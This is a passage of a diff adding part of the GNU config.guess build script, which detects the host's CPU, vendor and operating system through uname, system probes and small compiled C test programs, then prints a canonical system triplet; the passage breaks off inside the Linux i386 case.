+UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown +UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown + +# Note: order is significant - the case branches are not exclusive. + +case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in + *:NetBSD:*:*) + # NetBSD (nbsd) targets should (where applicable) match one or + # more of the tuples: *-*-netbsdelf*, *-*-netbsdaout*, + # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently + # switched to ELF, *-*-netbsd* would select the old + # object file format. This provides both forward + # compatibility and a consistent mechanism for selecting the + # object file format. + # + # Note: NetBSD doesn't particularly care about the vendor + # portion of the name. We always set it to "unknown". + sysctl="sysctl -n hw.machine_arch" + UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ + /usr/sbin/$sysctl 2>/dev/null || echo unknown)` + case "${UNAME_MACHINE_ARCH}" in + armeb) machine=armeb-unknown ;; + arm*) machine=arm-unknown ;; + sh3el) machine=shl-unknown ;; + sh3eb) machine=sh-unknown ;; + *) machine=${UNAME_MACHINE_ARCH}-unknown ;; + esac + # The Operating System including object format, if it has switched + # to ELF recently, or will in the future. + case "${UNAME_MACHINE_ARCH}" in + arm*|i386|m68k|ns32k|sh3*|sparc|vax) + eval $set_cc_for_build + if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep __ELF__ >/dev/null + then + # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). + # Return netbsd for either. FIX? + os=netbsd + else + os=netbsdelf + fi + ;; + *) + os=netbsd + ;; + esac + # The OS release + # Debian GNU/NetBSD machines have a different userland, and + # thus, need a distinct triplet. However, they do not need + # kernel version information, so it can be replaced with a + # suitable tag, in the style of linux-gnu. + case "${UNAME_VERSION}" in + Debian*) + release='-gnu' + ;; + *) + release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + ;; + esac + # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: + # contains redundant information, the shorter form: + # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. + echo "${machine}-${os}${release}" + exit 0 ;; + amd64:OpenBSD:*:*) + echo x86_64-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + amiga:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + cats:OpenBSD:*:*) + echo arm-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + hp300:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + luna88k:OpenBSD:*:*) + echo m88k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mac68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + macppc:OpenBSD:*:*) + echo powerpc-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme88k:OpenBSD:*:*) + echo m88k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvmeppc:OpenBSD:*:*) + echo powerpc-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + sgi:OpenBSD:*:*) + echo mips64-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + sun3:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:OpenBSD:*:*) + echo ${UNAME_MACHINE}-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:ekkoBSD:*:*) + echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} + exit 0 ;; + macppc:MirBSD:*:*) + echo powerppc-unknown-mirbsd${UNAME_RELEASE} + exit 0 ;; + *:MirBSD:*:*) + echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} + exit 0 ;; + alpha:OSF1:*:*) + case $UNAME_RELEASE in + *4.0) + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` + ;; + *5.*) + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` + ;; + esac + # According to Compaq, /usr/sbin/psrinfo has been available on + # OSF/1 and Tru64 systems produced since 1995. I hope that + # covers most systems running today. This code pipes the CPU + # types through head -n 1, so we only detect the type of CPU 0. + ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` + case "$ALPHA_CPU_TYPE" in + "EV4 (21064)") + UNAME_MACHINE="alpha" ;; + "EV4.5 (21064)") + UNAME_MACHINE="alpha" ;; + "LCA4 (21066/21068)") + UNAME_MACHINE="alpha" ;; + "EV5 (21164)") + UNAME_MACHINE="alphaev5" ;; + "EV5.6 (21164A)") + UNAME_MACHINE="alphaev56" ;; + "EV5.6 (21164PC)") + UNAME_MACHINE="alphapca56" ;; + "EV5.7 (21164PC)") + UNAME_MACHINE="alphapca57" ;; + "EV6 (21264)") + UNAME_MACHINE="alphaev6" ;; + "EV6.7 (21264A)") + UNAME_MACHINE="alphaev67" ;; + "EV6.8CB (21264C)") + UNAME_MACHINE="alphaev68" ;; + "EV6.8AL (21264B)") + UNAME_MACHINE="alphaev68" ;; + "EV6.8CX (21264D)") + UNAME_MACHINE="alphaev68" ;; + "EV6.9A (21264/EV69A)") + UNAME_MACHINE="alphaev69" ;; + "EV7 (21364)") + UNAME_MACHINE="alphaev7" ;; + "EV7.9 (21364A)") + UNAME_MACHINE="alphaev79" ;; + esac + # A Pn.n version is a patched version. + # A Vn.n version is a released version. + # A Tn.n version is a released field test version. + # A Xn.n version is an unreleased experimental baselevel. + # 1.2 uses "1.2" for uname -r. + echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + exit 0 ;; + Alpha\ *:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # Should we change UNAME_MACHINE based on the output of uname instead + # of the specific Alpha model? + echo alpha-pc-interix + exit 0 ;; + 21064:Windows_NT:50:3) + echo alpha-dec-winnt3.5 + exit 0 ;; + Amiga*:UNIX_System_V:4.0:*) + echo m68k-unknown-sysv4 + exit 0;; + *:[Aa]miga[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-amigaos + exit 0 ;; + *:[Mm]orph[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-morphos + exit 0 ;; + *:OS/390:*:*) + echo i370-ibm-openedition + exit 0 ;; + *:OS400:*:*) + echo powerpc-ibm-os400 + exit 0 ;; + arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) + echo arm-acorn-riscix${UNAME_RELEASE} + exit 0;; + SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) + echo hppa1.1-hitachi-hiuxmpp + exit 0;; + Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) + # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. + if test "`(/bin/universe) 2>/dev/null`" = att ; then + echo pyramid-pyramid-sysv3 + else + echo pyramid-pyramid-bsd + fi + exit 0 ;; + NILE*:*:*:dcosx) + echo pyramid-pyramid-svr4 + exit 0 ;; + DRS?6000:unix:4.0:6*) + echo sparc-icl-nx6 + exit 0 ;; + DRS?6000:UNIX_SV:4.2*:7*) + case `/usr/bin/uname -p` in + sparc) echo sparc-icl-nx7 && exit 0 ;; + esac ;; + sun4H:SunOS:5.*:*) + echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) + echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + i86pc:SunOS:5.*:*) + echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:6*:*) + # According to config.sub, this is the proper way to canonicalize + # SunOS6. Hard to guess exactly what SunOS6 will be like, but + # it's likely to be more like Solaris than SunOS4. + echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:*:*) + case "`/usr/bin/arch -k`" in + Series*|S4*) + UNAME_RELEASE=`uname -v` + ;; + esac + # Japanese Language versions have a version number like `4.1.3-JL'. + echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` + exit 0 ;; + sun3*:SunOS:*:*) + echo m68k-sun-sunos${UNAME_RELEASE} + exit 0 ;; + sun*:*:4.2BSD:*) + UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` + test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 + case "`/bin/arch`" in + sun3) + echo m68k-sun-sunos${UNAME_RELEASE} + ;; + sun4) + echo sparc-sun-sunos${UNAME_RELEASE} + ;; + esac + exit 0 ;; + aushp:SunOS:*:*) + echo sparc-auspex-sunos${UNAME_RELEASE} + exit 0 ;; + # The situation for MiNT is a little confusing. The machine name + # can be virtually everything (everything which is not + # "atarist" or "atariste" at least should have a processor + # > m68000). The system name ranges from "MiNT" over "FreeMiNT" + # to the lowercase version "mint" (or "freemint"). Finally + # the system name "TOS" denotes a system which is actually not + # MiNT. But MiNT is downward compatible to TOS, so this should + # be no problem. + atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) + echo m68k-atari-mint${UNAME_RELEASE} + exit 0 ;; + milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) + echo m68k-milan-mint${UNAME_RELEASE} + exit 0 ;; + hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) + echo m68k-hades-mint${UNAME_RELEASE} + exit 0 ;; + *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) + echo m68k-unknown-mint${UNAME_RELEASE} + exit 0 ;; + m68k:machten:*:*) + echo m68k-apple-machten${UNAME_RELEASE} + exit 0 ;; + powerpc:machten:*:*) + echo powerpc-apple-machten${UNAME_RELEASE} + exit 0 ;; + RISC*:Mach:*:*) + echo mips-dec-mach_bsd4.3 + exit 0 ;; + RISC*:ULTRIX:*:*) + echo mips-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + VAX*:ULTRIX*:*:*) + echo vax-dec-ultrix${UNAME_RELEASE} + exit 0 ;; + 2020:CLIX:*:* | 2430:CLIX:*:*) + echo clipper-intergraph-clix${UNAME_RELEASE} + exit 0 ;; + mips:*:*:UMIPS | mips:*:*:RISCos) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c +#ifdef __cplusplus +#include /* for printf() prototype */ + int main (int argc, char *argv[]) { +#else + int main (argc, argv) int argc; char *argv[]; { +#endif + #if defined (host_mips) && defined (MIPSEB) + #if defined (SYSTYPE_SYSV) + printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_SVR4) + printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); + #endif + #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) + printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); + #endif + #endif + exit (-1); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c \ + && $dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ + && exit 0 + echo mips-mips-riscos${UNAME_RELEASE} + exit 0 ;; + Motorola:PowerMAX_OS:*:*) + echo powerpc-motorola-powermax + exit 0 ;; + Motorola:*:4.3:PL8-*) + echo powerpc-harris-powermax + exit 0 ;; + Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) + echo powerpc-harris-powermax + exit 0 ;; + Night_Hawk:Power_UNIX:*:*) + echo powerpc-harris-powerunix + exit 0 ;; + m88k:CX/UX:7*:*) + echo m88k-harris-cxux7 + exit 0 ;; + m88k:*:4*:R4*) + echo m88k-motorola-sysv4 + exit 0 ;; + m88k:*:3*:R3*) + echo m88k-motorola-sysv3 + exit 0 ;; + AViiON:dgux:*:*) + # DG/UX returns AViiON for all architectures + UNAME_PROCESSOR=`/usr/bin/uname -p` + if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] + then + if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ + [ ${TARGET_BINARY_INTERFACE}x = x ] + then + echo m88k-dg-dgux${UNAME_RELEASE} + else + echo m88k-dg-dguxbcs${UNAME_RELEASE} + fi + else + echo i586-dg-dgux${UNAME_RELEASE} + fi + exit 0 ;; + M88*:DolphinOS:*:*) # DolphinOS (SVR3) + echo m88k-dolphin-sysv3 + exit 0 ;; + M88*:*:R3*:*) + # Delta 88k system running SVR3 + echo m88k-motorola-sysv3 + exit 0 ;; + XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) + echo m88k-tektronix-sysv3 + exit 0 ;; + Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) + echo m68k-tektronix-bsd + exit 0 ;; + *:IRIX*:*:*) + echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` + exit 0 ;; + ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. + echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id + exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' + i*86:AIX:*:*) + echo i386-ibm-aix + exit 0 ;; + ia64:AIX:*:*) + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} + fi + echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} + exit 0 ;; + *:AIX:2:3) + if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + + main() + { + if (!__power_pc()) + exit(1); + puts("powerpc-ibm-aix3.2.5"); + exit(0); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 + echo rs6000-ibm-aix3.2.5 + elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then + echo rs6000-ibm-aix3.2.4 + else + echo rs6000-ibm-aix3.2 + fi + exit 0 ;; + *:AIX:*:[45]) + IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` + if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then + IBM_ARCH=rs6000 + else + IBM_ARCH=powerpc + fi + if [ -x /usr/bin/oslevel ] ; then + IBM_REV=`/usr/bin/oslevel` + else + IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} + fi + echo ${IBM_ARCH}-ibm-aix${IBM_REV} + exit 0 ;; + *:AIX:*:*) + echo rs6000-ibm-aix + exit 0 ;; + ibmrt:4.4BSD:*|romp-ibm:BSD:*) + echo romp-ibm-bsd4.4 + exit 0 ;; + ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and + echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to + exit 0 ;; # report: romp-ibm BSD 4.3 + *:BOSX:*:*) + echo rs6000-bull-bosx + exit 0 ;; + DPX/2?00:B.O.S.:*:*) + echo m68k-bull-sysv3 + exit 0 ;; + 9000/[34]??:4.3bsd:1.*:*) + echo m68k-hp-bsd + exit 0 ;; + hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) + echo m68k-hp-bsd4.4 + exit 0 ;; + 9000/[34678]??:HP-UX:*:*) + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + case "${UNAME_MACHINE}" in + 9000/31? ) HP_ARCH=m68000 ;; + 9000/[34]?? ) HP_ARCH=m68k ;; + 9000/[678][0-9][0-9]) + if [ -x /usr/bin/getconf ]; then + sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` + sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` + case "${sc_cpu_version}" in + 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 + 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 + 532) # CPU_PA_RISC2_0 + case "${sc_kernel_bits}" in + 32) HP_ARCH="hppa2.0n" ;; + 64) HP_ARCH="hppa2.0w" ;; + '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 + esac ;; + esac + fi + if [ "${HP_ARCH}" = "" ]; then + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + + #define _HPUX_SOURCE + #include + #include + + int main () + { + #if defined(_SC_KERNEL_BITS) + long bits = sysconf(_SC_KERNEL_BITS); + #endif + long cpu = sysconf (_SC_CPU_VERSION); + + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1"); break; + case CPU_PA_RISC2_0: + #if defined(_SC_KERNEL_BITS) + switch (bits) + { + case 64: puts ("hppa2.0w"); break; + case 32: puts ("hppa2.0n"); break; + default: puts ("hppa2.0"); break; + } break; + #else /* !defined(_SC_KERNEL_BITS) */ + puts ("hppa2.0"); break; + #endif + default: puts ("hppa1.0"); break; + } + exit (0); + } +EOF + (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` + test -z "$HP_ARCH" && HP_ARCH=hppa + fi ;; + esac + if [ ${HP_ARCH} = "hppa2.0w" ] + then + # avoid double evaluation of $set_cc_for_build + test -n "$CC_FOR_BUILD" || eval $set_cc_for_build + if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E -) | grep __LP64__ >/dev/null + then + HP_ARCH="hppa2.0w" + else + HP_ARCH="hppa64" + fi + fi + echo ${HP_ARCH}-hp-hpux${HPUX_REV} + exit 0 ;; + ia64:HP-UX:*:*) + HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` + echo ia64-hp-hpux${HPUX_REV} + exit 0 ;; + 3050*:HI-UX:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + int + main () + { + long cpu = sysconf (_SC_CPU_VERSION); + /* The order matters, because CPU_IS_HP_MC68K erroneously returns + true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct + results, however. */ + if (CPU_IS_PA_RISC (cpu)) + { + switch (cpu) + { + case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; + case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; + case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; + default: puts ("hppa-hitachi-hiuxwe2"); break; + } + } + else if (CPU_IS_HP_MC68K (cpu)) + puts ("m68k-hitachi-hiuxwe2"); + else puts ("unknown-hitachi-hiuxwe2"); + exit (0); + } +EOF + $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 + echo unknown-hitachi-hiuxwe2 + exit 0 ;; + 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) + echo hppa1.1-hp-bsd + exit 0 ;; + 9000/8??:4.3bsd:*:*) + echo hppa1.0-hp-bsd + exit 0 ;; + *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) + echo hppa1.0-hp-mpeix + exit 0 ;; + hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) + echo hppa1.1-hp-osf + exit 0 ;; + hp8??:OSF1:*:*) + echo hppa1.0-hp-osf + exit 0 ;; + i*86:OSF1:*:*) + if [ -x /usr/sbin/sysversion ] ; then + echo ${UNAME_MACHINE}-unknown-osf1mk + else + echo ${UNAME_MACHINE}-unknown-osf1 + fi + exit 0 ;; + parisc*:Lites*:*:*) + echo hppa1.1-hp-lites + exit 0 ;; + C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) + echo c1-convex-bsd + exit 0 ;; + C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) + echo c34-convex-bsd + exit 0 ;; + C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) + echo c38-convex-bsd + exit 0 ;; + C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) + echo c4-convex-bsd + exit 0 ;; + CRAY*Y-MP:*:*:*) + echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*[A-Z]90:*:*:*) + echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ + | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ + -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ + -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*TS:*:*:*) + echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*T3E:*:*:*) + echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + CRAY*SV1:*:*:*) + echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + *:UNICOS/mp:*:*) + echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' + exit 0 ;; + F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) + FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` + echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit 0 ;; + 5000:UNIX_System_V:4.*:*) + FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` + FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` + echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" + exit 0 ;; + i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) + echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} + exit 0 ;; + sparc*:BSD/OS:*:*) + echo sparc-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:BSD/OS:*:*) + echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} + exit 0 ;; + *:FreeBSD:*:*) + echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` + exit 0 ;; + i*:CYGWIN*:*) + echo ${UNAME_MACHINE}-pc-cygwin + exit 0 ;; + i*:MINGW*:*) + echo ${UNAME_MACHINE}-pc-mingw32 + exit 0 ;; + i*:PW*:*) + echo ${UNAME_MACHINE}-pc-pw32 + exit 0 ;; + x86:Interix*:[34]*) + echo i586-pc-interix${UNAME_RELEASE}|sed -e 's/\..*//' + exit 0 ;; + [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) + echo i${UNAME_MACHINE}-pc-mks + exit 0 ;; + i*:Windows_NT*:* | Pentium*:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we + # UNAME_MACHINE based on the output of uname instead of i386? + echo i586-pc-interix + exit 0 ;; + i*:UWIN*:*) + echo ${UNAME_MACHINE}-pc-uwin + exit 0 ;; + p*:CYGWIN*:*) + echo powerpcle-unknown-cygwin + exit 0 ;; + prep*:SunOS:5.*:*) + echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + *:GNU:*:*) + # the GNU system + echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` + exit 0 ;; + *:GNU/*:*:*) + # other systems with GNU libc and userland + echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu + exit 0 ;; + i*86:Minix:*:*) + echo ${UNAME_MACHINE}-pc-minix + exit 0 ;; + arm*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + cris:Linux:*:*) + echo cris-axis-linux-gnu + exit 0 ;; + crisv32:Linux:*:*) + echo crisv32-axis-linux-gnu + exit 0 ;; + frv:Linux:*:*) + echo frv-unknown-linux-gnu + exit 0 ;; + ia64:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + m32r*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + m68*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + mips:Linux:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #undef CPU + #undef mips + #undef mipsel + #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) + CPU=mipsel + #else + #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) + CPU=mips + #else + CPU= + #endif + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` + test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 + ;; + mips64:Linux:*:*) + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #undef CPU + #undef mips64 + #undef mips64el + #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) + CPU=mips64el + #else + #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) + CPU=mips64 + #else + CPU= + #endif + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` + test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 + ;; + ppc:Linux:*:*) + echo powerpc-unknown-linux-gnu + exit 0 ;; + ppc64:Linux:*:*) + echo powerpc64-unknown-linux-gnu + exit 0 ;; + alpha:Linux:*:*) + case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in + EV5) UNAME_MACHINE=alphaev5 ;; + EV56) UNAME_MACHINE=alphaev56 ;; + PCA56) UNAME_MACHINE=alphapca56 ;; + PCA57) UNAME_MACHINE=alphapca56 ;; + EV6) UNAME_MACHINE=alphaev6 ;; + EV67) UNAME_MACHINE=alphaev67 ;; + EV68*) UNAME_MACHINE=alphaev68 ;; + esac + objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null + if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi + echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} + exit 0 ;; + parisc:Linux:*:* | hppa:Linux:*:*) + # Look for CPU level + case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in + PA7*) echo hppa1.1-unknown-linux-gnu ;; + PA8*) echo hppa2.0-unknown-linux-gnu ;; + *) echo hppa-unknown-linux-gnu ;; + esac + exit 0 ;; + parisc64:Linux:*:* | hppa64:Linux:*:*) + echo hppa64-unknown-linux-gnu + exit 0 ;; + s390:Linux:*:* | s390x:Linux:*:*) + echo ${UNAME_MACHINE}-ibm-linux + exit 0 ;; + sh64*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + sh*:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + sparc:Linux:*:* | sparc64:Linux:*:*) + echo ${UNAME_MACHINE}-unknown-linux-gnu + exit 0 ;; + x86_64:Linux:*:*) + echo x86_64-unknown-linux-gnu + exit 0 ;; + i*86:Linux:*:*) + # The BFD linker knows what the default object file format is, so + # first see if it will tell us. cd to the root directory to prevent + # problems with other programs or directories called `ld' in the path. + # Set LC_ALL=C to ensure ld outputs messages in English. + ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \ + | sed -ne '/supported targets:/!d + s/[ ][ ]*/ /g + s/.*supported targets: *// + s/ .*// + p'` + case "$ld_supported_targets" in + elf32-i386) + TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu" + ;; + a.out-i386-linux) + echo "${UNAME_MACHINE}-pc-linux-gnuaout" + exit 0 ;; + coff-i386) + echo "${UNAME_MACHINE}-pc-linux-gnucoff" + exit 0 ;; + "") + # Either a pre-BFD a.out linker 